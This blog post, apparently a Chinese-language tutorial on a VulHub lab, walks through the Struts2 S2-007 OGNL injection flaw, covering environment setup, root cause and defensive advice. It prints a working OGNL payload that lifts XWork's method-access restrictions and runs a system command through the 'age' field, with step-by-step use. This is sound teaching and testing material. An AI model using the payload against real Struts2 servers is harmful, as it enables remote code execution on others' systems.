尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

VulHub Struts2 S2-007 实战:验证转换失败引发的 OGNL 表达式注入与远程代码执行

VulHub Struts2 S2-007 实战:验证转换失败引发的 OGNL 表达式注入与远程代码执行 VulHub Struts2 S2-007 实战验证转换失败引发的 OGNL 表达式注入与远程代码执行【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub本文围绕 VulHub 仓库中的 struts2/s2-007 环境展开讲解 Struts2 2.0.0 - 2.2.3 版本中 S2-007 远程代码执行漏洞的触发原理类型转换失败时框架将用户输入拼接进 OGNL 表达式解析。读完本文你可以从零搭建该漏洞环境理解UserAction-validation.xml验证规则如何成为注入点并使用绕过安全配置的 Payload 执行系统命令拿到可复现的完整利用链路。漏洞概述与影响版本S2-007 是 Struts2 框架早期2.0.0 - 2.2.3的一个远程代码执行漏洞官方编号对应 Apache Struts 文档中的 S2-007。其核心问题不在 Action 代码本身而在于 Struts2 的类型转换与验证流程当某个 Action 配置了ActionName-validation.xml验证文件时框架会在表单提交后先做字段值校验若某个字段的值无法转换为 Action 属性声明的类型例如把字符串提交给Integer类型属性类型转换会报错出错的版本中框架在生成类型转换错误消息时会把用户提交的原始表单值用单引号包裹后拼接成一个 OGNL 表达式字符串并执行一次 OGNL 解析攻击者只要能定位到一个配置了验证规则 提交了无法转换的值的表单字段就可以仿照 SQL 注入单引号闭合的思路拼接出任意 OGNL 表达式从而实现远程代码执行。VulHub 为这个漏洞提供了一个可直接运行的环境其受影响版本为 struts2-core 2.2.3。测试环境搭建环境定义在 docker-compose.yml 中只有一个struts2服务构建自同目录的 Dockerfile对外暴露 8080 端口。搭建步骤docker compose build docker compose up -d从 Dockerfile 可以看到镜像的构建逻辑FROM vulhub/tomcat:8.5 LABEL maintainerphithon rootleavesongs.com RUN set -ex \ rm -rf /usr/local/tomcat/webapps/* \ chmod ax /usr/local/tomcat/bin/*.sh COPY S2-007.war /usr/local/tomcat/webapps/ROOT.war EXPOSE 8080即基于vulhub/tomcat:8.5基础镜像清空默认 webapps 后把仓库中预编译好的 S2-007.war 部署为根应用ROOT.war。因此服务启动后直接访问http://目标IP:8080即可进入漏洞 Demo。启动后页面是标题为 S2-007 Demo 的表单页包含三个输入框name、email、age提交到 Struts2 的userAction。漏洞应用的结构WAR 包内部的证据分析这个环境的关键在于 S2-007.war 内部的文件结构。解压 WAR 包可以看到以下内容WEB-INF/classes/struts.xmlStruts2 主配置WEB-INF/classes/UserAction-validation.xml验证规则文件正是本漏洞的触发条件WEB-INF/classes/com/demo/action/UserAction.class存在类型转换风险的 Action 类index.jsp/welcome.jsp入口表单页与结果展示页WEB-INF/lib/下的依赖struts2-core-2.2.3.jar、xwork-core-2.2.3.jar、ognl-3.0.1.jar等证实该环境运行在受影响版本区间2.0.0 - 2.2.3的 2.2.3 上。struts.xmlAction 路由与结果映射WAR 包内的struts.xml内容如下struts !-- constant namestruts.enable.DynamicMethodInvocation valuetrue / -- constant namestruts.devMode valuefalse / !-- Add packages here -- package nameS2-007 extendsstruts-default action nameuser classcom.demo.action.UserAction result namesuccess/welcome.jsp/result result nameerror/index.jsp/result result nameinput/index.jsp/result /action /package /struts几个要点nameuser的 Action 指向com.demo.action.UserAction与入口页index.jsp中s:form actionuser的提交目标对应按 Struts2 的命名约定框架会自动查找与 Action 类名同名的UserAction-validation.xml作为验证文件——该文件恰好存在于WEB-INF/classes/下因此验证逻辑必然生效三个result分别处理成功跳转 welcome.jsp 回显三个字段、错误和需重新输入都回到 index.jsp的场景。值得注意的是即使验证失败、类型转换出错命令也已在服务器端执行完毕结果页只是展示载体。UserAction-validation.xml漏洞的引信?xml version1.0 encodingUTF-8 ? !DOCTYPE validators PUBLIC -//OpenSymphony Group//XWork Validator 1.0//EN http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd validators field nameage field-validator typeint param namemin1/param param namemax150/param /field-validator /field /validatorsage字段被声明为int类型验证器合法范围是 1 - 150。对应地UserAction中的属性结构如下摘自环境文档中的示例public class UserAction extends ActionSupport { private Integer age; private String name; private String email; // ... }age是Integer类型。攻击点就在这里只要向age提交一个非整数字符串例如任意带单引号的文本类型转换必然失败失败处理路径就会触发 OGNL 拼接解析。这就是文档中要成功利用只需要找到一个配置了类似验证规则的表单字段使之转换出错的具体所指。入口页面 index.jsps:form actionuser s:textfield namename labelname / s:textfield nameemail labelemail / s:textfield nameage labelage / s:submit/s:submit /s:formage就是文档中提到的可以利用的输入框。welcome.jsp则通过s:property valueage/回显age字段的值——利用成功时命令执行结果正是从这里输出的。漏洞原理错误处理路径上的 OGNL 二次解析整个攻击链条可以概括为四步表单提交向userAction 提交表单其中age字段的值不是合法整数类型转换失败框架尝试把字符串转成Integer抛出转换异常错误消息拼接出错版本中构造类型转换错误消息的代码会执行类似 value 的字符串拼接把用户原始输入包在单引号里然后交给 OGNL 引擎解析注入生效攻击者在提交值中先闭合单引号再拼接自己的 OGNL 表达式最后补回闭合引号使 OGNL 引擎执行的是攻击者控制的表达式而不是框架预期的字面量。这与 SQL 注入中闭合引号注入语句的手法完全同构value被当成数据处理但在解析失败后的错误分支里又被当成代码执行了一次。需要说明的是官方 S2-007 文档给出的示例 Payload 是弹出 macOS 计算器open /Applications/Calculator.app在本项目 Linux Tomcat 环境下无法运行因此文档专门提供了一个执行任意代码的 Exp见下一节。Exploit绕过安全限制的 OGNL Payload由于受影响版本为 Struts2 2.0.0 - 2.2.3Payload 需要绕过当时 XWork 的两个安全限制_memberAccess对象默认禁止访问静态方法allowStaticMethodAccessfalse需要先将其置为true才能调用Runtime.getRuntime()这类静态方法xwork.MethodAccessor.denyMethodExecution会拦截exec等敏感方法调用需要借助一个Boolean(false)对象写入 context 将其关闭。完整的 EXP 如下 (#_memberAccess[allowStaticMethodAccess]true,#foonew java.lang.Boolean(false) ,#context[xwork.MethodAccessor.denyMethodExecution]#foo,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(id).getInputStream())) 逐段拆解这个表达式片段作用首尾的 ... 闭合框架拼接的单引号把攻击者表达式夹进原本的字面量字符串中#_memberAccess[allowStaticMethodAccess]true放开 OGNL 对静态方法调用的限制使类静态方法()语法可用#foonew java.lang.Boolean(false)构造一个值为 false 的 Boolean 对象#context[xwork.MethodAccessor.denyMethodExecution]#foo将 method accessor 的方法执行拒绝开关置为 false放行exec()调用java.lang.RuntimegetRuntime().exec(id)以静态方法调用方式执行系统命令idorg.apache.commons.io.IOUtilstoString(...getInputStream())将命令输出的输入流一次性读成字符串便于回显到响应页利用步骤启动环境docker compose up -d若未构建过先docker compose build浏览器访问http://目标IP:8080在表单的age输入框中粘贴上面整行 Payloadname、email随意填写提交表单。由于age不是整数触发类型转换失败路径OGNL 表达式被执行在结果回显页面即可看到id命令的输出确认远程代码执行成功。上图展示了将 EXP 传入age输入框提交后id命令执行结果的页面回显。关键文件索引文件说明README.zh-cn.md中文环境文档含原理与 Exploit 说明Dockerfile基于 vulhub/tomcat:8.5将 WAR 部署为 ROOT 应用docker-compose.yml服务定义映射 8080 端口S2-007.war漏洞应用内含 struts.xml、UserAction-validation.xml 与 2.2.3 版本依赖小结S2-007 的利用条件很明确目标应用存在带validation.xml验证规则的 Action且某个字段允许提交导致类型转换失败的非法值。它揭示了框架错误处理路径是安全审计中容易被忽视的攻击面——正常的请求路径被防护住而异常分支上的字符串拼接却在无声地执行 OGNL。在对本仓库环境完成利用验证后防御侧的对应措施是升级到不受影响的 Struts2 版本并对所有接受用户输入参与类型转换的字段保持最小信任。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表